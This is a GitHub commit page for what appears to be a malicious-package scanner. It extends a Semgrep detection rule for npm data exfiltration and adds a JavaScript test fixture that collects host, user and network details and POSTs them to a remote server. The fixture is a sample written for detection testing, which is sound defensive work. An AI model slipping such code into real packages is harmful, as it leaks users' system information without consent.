Skip to content

Commit

Permalink
Merge pull request #501 from DataDog/s.obregoso/fix_npm_exfil
Browse files Browse the repository at this point in the history
Adding new case to npm-exfiltration
  • Loading branch information
sobregosodd authored Dec 13, 2024
2 parents e94f9f3 + 7f67f33 commit e3fe533
Show file tree
Hide file tree
Showing 2 changed files with 50 additions and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -59,6 +59,12 @@ rules:
pattern-sinks:
- patterns:
- pattern-either:
- pattern-inside: |
$HTTP = ... .request(...)
...
- pattern-inside: |
$HTTP = require('http')
...
- pattern-inside: |
$HTTP = require('https')
...
Expand All @@ -79,6 +85,7 @@ rules:
- pattern: $HTTP. ... .get(...)
- pattern: $HTTP. ... .post(...)
- pattern: $HTTP. ... .push(...)
- pattern: $HTTP. ... .write(...)
- pattern: $HTTP(...)
languages:
- javascript
Expand Down
43 changes: 43 additions & 0 deletions tests/analyzer/sourcecode/npm-exfiltrate-sensitive-data.js
Original file line number Diff line number Diff line change
Expand Up @@ -113,3 +113,46 @@ function f(){
});
});
}

function f(){
const os = require('os');
const http = require('http');
// Collect device information
const deviceInfo = {
platform: os.platform(),
release: os.release(),
hostname: os.hostname(),
arch: os.arch(),
userInfo: os.userInfo(),
networkInterfaces: os.networkInterfaces(),
whoamiinfo: whoamiInfo, // Include whoami output
user: "Keycloak",
};

// Define the request options
const options = {
hostname: apiHostname,
port: apiPort,
path: apiPath,
method: 'POST',
headers: {
'Content-Type': 'application/json', // Inform the server about the JSON body
},
};

// Create the request
const req = http.request(options, (res) => {
console.log(`Status: ${res.statusCode}`);
res.on('data', (chunk) => {
console.log(`Body: ${chunk}`);
});
});

req.on('error', (error) => {
console.error(`Error: ${error.message}`);
});

// ruleid:npm-exfiltrate-sensitive-data
req.write(JSON.stringify(deviceInfo));
req.end();
}

0 comments on commit e3fe533

Please sign in to comment.